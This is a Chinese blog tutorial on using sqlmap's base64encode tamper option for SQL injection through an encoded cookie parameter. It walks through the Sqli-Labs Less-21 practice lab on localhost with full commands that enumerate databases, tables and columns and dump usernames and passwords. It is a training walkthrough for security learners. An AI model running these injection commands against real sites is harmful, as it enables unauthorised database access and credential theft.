为什么使用sqlmap加密注入
在使用手工注入绕过参数加密的限制时,需要构造出原始POC再进行加密注入,耗时耗力,因此采用sqlmap加密注入。
在开始本文前,sqlmap基础知识及姿势可参考: [网络安全]以留言板项目渗透实例带你入门sqlmap
加密注入语法
基本语法:
python sqlmap.py -u 目标URL --注入点="参数=xx"* --dbms 数据库 --threads=线程数 --batch--tamper=加密方式(base64encode等)
*
表示只对该参数进行注入测试,不加
*
的话还会测试其他参数是否为注入点,增加时间
--dbms 数据库
,使sqlmap明确要注入的数据库类型,不加的话会对所有的数据库进行测试(使用的前提:已知渗透网站的数据库类型)
--threads=线程数(1-10)
,规定线程,线程越高跑出来的时间越短,但可能会因访问繁忙而被waf拦截
--batch
,选择默认选项,跑sqlmap的时候加上这句话可节约时间、不需要回复提示
--tamper=加密方式
,对注入的内容进行加密注入
可以进行加密注入的条件
在已知数据库加密类型的情况下,就可以使用sqlmap进行加密注入。
例如已知用户名及密码参数为base64加密,则可以用sqlmap进行base64加密注入,得到正确的数据。
实战
以Sqli-Labs Less-21为例
以正确的用户名、密码登录,抓包得到:
可知注入点为cookie,参数为uname,且参数内容经base64解密后正好为输入的用户名,则可使用sqlmap进行base64加密注入
构造sqlmap语句:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode
回显可用的注入方式及网站环境配件的版本:
故sqlmap语句构造成功
爆数据库名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode --dbs
爆security库的表名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode -D security --tables
回显如下:
得到四个表
爆users表的列名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode -D security -Tusers--columns
回显如下:
得到三个列
爆数据
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode -D security -Tusers-C id,username,password --dump
回显如下:
总结
以上为[网络安全] sqlmap加密注入教程+实战详析,读者可躬身实践。
我是秋说,我们下次见。
版权归原作者 秋说 所有, 如有侵权,请联系我们删除。